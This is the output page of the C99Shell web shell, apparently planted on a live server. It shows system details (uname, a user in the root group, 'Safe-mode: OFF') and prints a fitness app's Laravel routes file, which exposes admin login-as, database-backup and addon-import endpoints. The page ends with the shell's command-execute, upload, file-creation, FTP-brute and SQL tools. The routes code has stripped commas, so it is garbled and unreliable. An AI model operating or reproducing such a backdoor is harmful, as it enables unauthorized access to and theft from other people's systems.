!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (18.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Models\Plan;
use 
Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/','FrontController@home')->name('home');

Route::get('/about-us','FrontController@aboutUs')->name('about.us');
Route::get('/support','FrontController@support')->name('support');
Route::get('/review','FrontController@review')->name('review');
Route::get('/choose/program','FrontController@chooseProgram')->name('choose.program');
Route::post('/save/program/data','FrontController@saveData')->name('save.program.data');
Route::get('/my/account','FrontController@my_account')->name('my.account');
Route::get('/terms/and/condition','FrontController@terms_and_condition')->name('term.condtion');
Route::post('/contact/request''FrontController@contactUsStore')->name('contact.request');


Route::get('/features','FrontController@services')->name('features');
Route::get('/pricing','FrontController@pricing')->name('pricing');
Route::get('/contact','FrontController@contact')->name('contact');
Route::get('/demo/login','FrontController@demo_login')->name('demo.login');

//#region admin route
Route::group(['as' => 'admin.''prefix' => 'admin'], function () {

    
Route::group(['middleware' => 'guest'], function () {
        
Route::get('/login', ['uses' => 'Auth\AdminLoginController@index''as' => 'login']);
        
Route::post('/login', ['uses' => 'Auth\AdminLoginController@authenticate''as' => 'authenticate']);

        
Route::get('/password/reset', ['uses' => 'Auth\ForgotPasswordController@showLinkRequestFormAdmin''as' => 'password.request']);
        
Route::post('/password/email''Auth\ForgotPasswordController@sendResetLinkEmailAdmin')->name('password.email');
    });

    
Route::group(['middleware' => 'auth'], function () {
        
Route::get('/logout', ['uses' => 'Auth\AdminLoginController@logout''as' => 'logout']);

        
Route::group(['namespace' => 'Admin'], function () {
            
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);
            
Route::get('/notification/counter', ['uses' => 'DashboardController@countNotification''as' => 'notification.counter']);
            
Route::get('/clear/cache', ['uses' => 'DashboardController@clearCache''as' => 'clear.cache']);

            
Route::resource('/customers''CustomerController');
            
Route::resource('/plans''PlanController');

            
Route::resource('/page''PageController');


            
Route::group(['as' => 'customer.''prefix' => 'customer'], function () {
                
Route::get('/all''CustomerController@getAll')->name('get.all');
                
Route::post('/assign-number''CustomerController@assignNumber')->name('number.assign');
                
Route::post('/remove-number''CustomerController@removeNumber')->name('number.remove');
                
Route::post('/change-plan''CustomerController@changePlan')->name('plan.change');
                
Route::post('/login-as''CustomerController@loginAs')->name('login.ass');
//                Edit Current Plan
                
Route::get('/plan/edit/{customer}''CustomerController@editCustomerPLan')->name('current.plan.edit');
                
Route::post('/plan/update/{customer}''CustomerController@updateCustomerPLan')->name('current.plan.update');
                
Route::get('get/info''CustomerController@getCustomerInfo')->name('get.info');
                
Route::post('/credit/subtract''CustomerController@subtract')->name('credit.subtract');
                
Route::get('/assign/senderid''CustomerController@assignSenderId')->name('assign.senderid');
                
Route::post('/save/assign/senderid''CustomerController@saveAssignSenderId')->name('save.assign.senderid');

                
//Assign Meal Plan
                
Route::get('/assign/meal/plan/{id}''CustomerController@assign_meal_plan')->name('assign.meal.plan');
                
Route::get('/assign/workout/plan/{id}''CustomerController@assign_workout_plan')->name('assign.workout.plan');
                
Route::post('/assign/trainer/''CustomerController@assign_trainer')->name('assign.trainer');

                
//Customer Steps
                
Route::get('/steps/{id}''CustomerController@customerSteps')->name('steps');
                
Route::get('/step/details/{id}''CustomerController@customerStepDetail')->name('step.details');
                
Route::get('/weight/details/{id}''CustomerController@customerWeightDetail')->name('weight.details');




            });

            
Route::post('/change/meal/plan''CustomerController@change_meal_plan')->name('change.meal.plan');
            
Route::post('/change/workout/plan''CustomerController@change_workout_plan')->name('change.workout.plan');
            
Route::post('/change/plan''CustomerController@change_plan')->name('change.plan');

            
//Meal Plan
            
Route::resource('/meal-plan''MealPlanController')->middleware('can:manage_meal');
            
Route::get('/get/all/meals''MealPlanController@getAll')->name('get.all.meal.plans')->middleware('can:manage_meal');
            
Route::post('/duplicate/meal-plan''MealPlanController@duplicate_meal_plan')->name('duplicate.meal.plan')->middleware('can:manage_meal');
            
Route::post('/meal-plan/status/change''MealPlanController@status_change')->name('status.change.meal.plan')->middleware('can:manage_meal');
            
Route::get('/meal/plan/search''MealPlanController@search_meal_plan')->name('search.meal.plan')->middleware('can:manage_meal');
            
//Meal Plan Task
            
Route::get('/get/all/meal-plan-task''MealPlanTaskController@getAll')->name('get.all.meal.plan.task')->middleware('can:manage_meal');
            
Route::resource('/meal-plan-task''MealPlanTaskController')->middleware('can:manage_meal');
             
//Workout Plan Task
             
Route::get('/get/all/work-out-plan-task''WorkOutPlanTaskController@getAll')->name('get.all.work.out.plan.task')->middleware('can:manage_work_out');

             
Route::resource('/work-out-plan-task''WorkOutPlanTaskController')->middleware('can:manage_work_out');

            
//Workout Plan
            
Route::resource('/workout-plan''WorkoutPlanController')->middleware('can:manage_work_out');
            
Route::get('/search/workout-plan''WorkoutPlanController@search_workout_plan')->name('search.workout.plans')->middleware('can:manage_work_out');
            
Route::get('/get/all/workout/plan''WorkoutPlanController@getAll')->name('get.all.workout.plans')->middleware('can:manage_work_out');

            
//Manage Trainer
            
Route::resource('/trainer''TrainerController');
            
Route::get('/get/all/trainer''TrainerController@getAll')->name('get.all.trainer');
            
Route::post('/login-as''TrainerController@loginAs')->name('trainer.login.as');

            
Route::get('/reseller''CustomerController@reseller')->name('reseller');
            
Route::get('/master/reseller''CustomerController@masterReseller')->name('master.reseller');


            
Route::get('contacts', [\App\Http\Controllers\Admin\ContactController::class,'index'])->name('contacts');
            
Route::get('contact/delete/{id}', [\App\Http\Controllers\Admin\ContactController::class,'delete'])->name('contact.delete');
            
Route::get('get/all/contacts', [\App\Http\Controllers\Admin\ContactController::class,'getAll'])->name('get.all.contacts');



            
Route::group(['as' => 'plan.''prefix' => 'plan'], function () {
                
Route::get('/all''PlanController@getAll')->name('get.all');
                
Route::get('/requests''PlanController@requests')->name('requests');
                
Route::get('/requests/get''PlanController@get_requests')->name('get.requests');
            });

            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/''SettingsController@index')->name('index');
                
Route::post('/update/profile''SettingsController@profile_update')->name('profile_update');
                
Route::post('/update/application''SettingsController@app_update')->name('app_update');
                
Route::post('/whatsapp/api''SettingsController@whatsapp_api')->name('whatsapp.api');
                
Route::post('/update/smtp''SettingsController@smtp_update')->name('smtp_update');
                
Route::post('/update/api''SettingsController@api_update')->name('api_update');
                
Route::post('/email-template/store''SettingsController@templateStore')->name('email.template.store');
                
Route::post('/update/local/setting''SettingsController@local_settings')->name('local.setting');
                
Route::post('/sending-setting''SettingsController@sending_setting')->name('sending.setting');
                
Route::get('/gateway/numbers''SettingsController@getGatewayNumber')->name('gateway.numbers');
                
Route::get('/otp/index''SettingsController@otpSettins')->name('otp.index');
                
Route::get('get/all/otp/user''SettingsController@activeOtpUser')->name('get.all.otp.user');
                
Route::post('/otp''SettingsController@otpSetting')->name('otp');
                
Route::get('/customer/otp/status''SettingsController@getOtpStatus')->name('user.otp.status');
                
Route::post('/cache''SettingsController@cacheSettings')->name('cache');

            });
//            For Database Backup
            
Route::get('/db-backup''SettingsController@dbBackupList')->name('db.backup');
            
Route::get('/download/db-backup''SettingsController@downloadDbBackup')->name('download.db.backup');

            
Route::group(['as' => 'addon.''prefix' => 'addon'], function () {
                
Route::get('/''AddonController@index')->name('index');
                
Route::get('/import''AddonController@import')->name('import');
                
Route::post('/import''AddonController@importPost')->name('import');
                
Route::get('/get/all''AddonController@getAll')->name('get.all');
                
Route::delete('/uninstall''AddonController@uninstall')->name('uninstall');
                
Route::post('/change-status''AddonController@changeStatus')->name('change-status');

            });

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');

            
Route::group(['as' => 'subscribe.''prefix' => 'subscribe'], function () {
                
Route::get('/index','SubscribeController@index')->name('index');
                
Route::post('/store','SubscribeController@subscribe_store')->name('subscribe.store');
            });

            
Route::get('/template','TemplateController@index')->name('template');
            
Route::post('/template/store','TemplateController@store')->name('template.store');
            
Route::get('/theme/customize','TemplateController@theme')->name('theme.customize');
            
Route::post('/theme/customize/store','TemplateController@themeStore')->name('theme.customize.store');
            
Route::get('/partner/image/delete','TemplateController@paymentPartnerImage')->name('partner.image.delete');


            
Route::get('/get/all/steps','StepController@getAll')->name('get.all.steps');
            
Route::resource('/step','StepController');

        });
    });

});
//#endregion


//#region customer routes

//Guest customer route
Route::group(['middleware' => 'guest'], function () {
    
Route::get('admin/password/reset''Admin\ForgotPasswordController@show_form')->name('admin.password.request');
    
Route::post('admin/password/reset''Admin\ForgotPasswordController@sent_email')->name('admin.password.sent');
    
Route::get('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_form')->name('admin.password.reset.confirm');
    
Route::post('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_confirm')->name('admin.password.reset.confirm');
});

Route::group(['middleware' => 'guest:customer'], function () {
    
Route::get('/login', ['uses' => 'Auth\CustomerLoginController@index''as' => 'login']);
    
Route::post('/login', ['uses' => 'Auth\CustomerLoginController@authenticate''as' => 'authenticate']);

//    Route::get('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up', 'as' => 'signup']);
    
Route::post('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up_create''as' => 'signup']);

    
Route::get('password/reset''Auth\ForgotPasswordController@show_form')->name('password.request');
    
Route::post('password/reset''Auth\ForgotPasswordController@sent_email')->name('password.sent');
    
Route::get('password/reset/confirm''Auth\ForgotPasswordController@reset_form')->name('password.reset.confirm');
    
Route::post('password/reset/confirm''Auth\ForgotPasswordController@reset_confirm')->name('password.reset.confirm');

   
Route::get('/check/schedule', ['uses' => 'ScheduleController@process''as' => 'schedule.process']);
    
Route::get('/verify/', ['uses' => 'Auth\CustomerLoginController@verifyView''as' => 'customer.verify.view']);
    
Route::get('/verify/customer', ['uses' => 'Auth\CustomerLoginController@verify''as' => 'customer.verify']);

});

//Auth customer route
Route::group(['as' => 'customer.''middleware' => ['auth:customer''email.verify:customer']], function () {

    
Route::get('/logout', ['uses' => 'Auth\CustomerLoginController@logout''as' => 'logout']);

    
Route::get('/check/plan', function (\Illuminate\Http\Request $request){
        if (!
$request->plan_id){
            return 
abort('404');
        }
        
$data['plan']=Plan::find($request->plan_id);
        return 
view('customer.trigger_plan'$data);
    })->
name('trigger.plan');

    
Route::group(['namespace' => 'Customer'], function () {
        
Route::group(['auth:customer','middleware' => ['plan.validation']], function () {
            
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);
            
Route::get('/download/notice/file', ['uses' => 'DashboardController@downloadAttach''as' => 'download.notice.file']);
            
Route::get('/all/notice', ['uses' => 'DashboardController@viewAllNotices''as' => 'all.notices']);
            
Route::get('/notification/counter', ['uses' => 'DashboardController@countNotification''as' => 'notification.counter']);
            
Route::get('/clear/cache', ['uses' => 'DashboardController@clearCache''as' => 'clear.cache']);

            
Route::post('/work/out/plan/status''PlanController@work_out_plan_status')->name('work.out.plan.status');
            
Route::post('/meal/plan/status''PlanController@meal_plan_status')->name('meal.plan.status');

            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/index', ['uses' => 'SettingsController@index''as' => 'index']);
                
Route::post('/profile-update', ['uses' => 'SettingsController@profile_update''as' => 'profile_update']);
                
Route::post('/password-update', ['uses' => 'SettingsController@password_update''as' => 'password_update']);
                
Route::post('/notification-update', ['uses' => 'SettingsController@notification_update''as' => 'notification_update']);
                
Route::post('/webhook/update', ['uses' => 'SettingsController@webhookUpdate''as' => 'webhook_update']);
                
Route::post('/data/posting', ['uses' => 'SettingsController@dataPosting''as' => 'data_posting']);
            });


            
//Meal & Workout Plan
            
Route::get('meal/plan', [\App\Http\Controllers\Customer\PlanController::class,'meal_plan'])->name('meal.plan');
            
Route::get('workout/plan', [\App\Http\Controllers\Customer\PlanController::class,'workout_plan'])->name('workout.plan');


//            API Token
            
Route::get('/authorization/token/create''AuthorizationController@index')->name('authorization.token.create');
            
Route::post('/authorization/token/store''AuthorizationController@store')->name('authorization.token.store');

            
//download sample
            
Route::get('/download/sample/{type}''SettingsController@downloadSample')->name('download.sample');
            
Route::post('/otp/settings''SettingsController@otpSettings')->name('opt.settings');
            
Route::post('/smtp/settings''SettingsController@smtp_update')->name('smtp.settings');
            
//            Email Template
            
Route::post('/settings/email/template', [\App\Http\Controllers\Customer\SettingsController::class,'templateStore'])->name('settings.email.template');

            
//Inbound Setting
            
Route::post('/from/inb/settings''SettingsController@inbound_settings')->name('inbound.settings');


            
Route::resource('/weight''WeightController');
            
Route::get('/get-all/weight''WeightController@getAll')->name('get.all.weight');
            
Route::get('/step/details/''StepDetailsController@index')->name('step.details.index');
            
Route::get('/get-all/step/details''StepDetailsController@getAll')->name('get.all.step.details');
            
Route::get('/steps/details/{id}''StepDetailsController@step_details')->name('steps.details');
        });

        
Route::group(['as' => 'billing.''prefix' => 'billing'], function () {
            
Route::get('/''BillingController@index')->name('index');
            
Route::get('/change/plan''BillingController@changePLan')->name('change.plan');
            
Route::post('/update''BillingController@update')->name('update');
        });
    });
});

//#endregion

Route::get('/process/email', ['uses' => 'ScheduleController@processEmail''as' => 'email.process']);

//Db Backup
Route::get('/db/backup', ['uses' => 'ScheduleController@processDbBackup''as' => 'db.backup']);

Route::get('/process/upgrade', ['uses' => 'UpgradeController@process''as' => 'process.upgrade']);

//Route::redirect('/', route('login'));
Route::redirect('/admin'route('admin.login'));


Route::get('/sign-up', function(){
    return 
redirect()->route('choose.program');
});

Route::post('/verify/user','FrontController@verifyCode')->name('verify');

Route::get('locale/{type}', [\App\Http\Controllers\Admin\DashboardController::class, 'setLocale'])->name('set.locale');

Route::get('/{page}','FrontController@page')->name('page');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--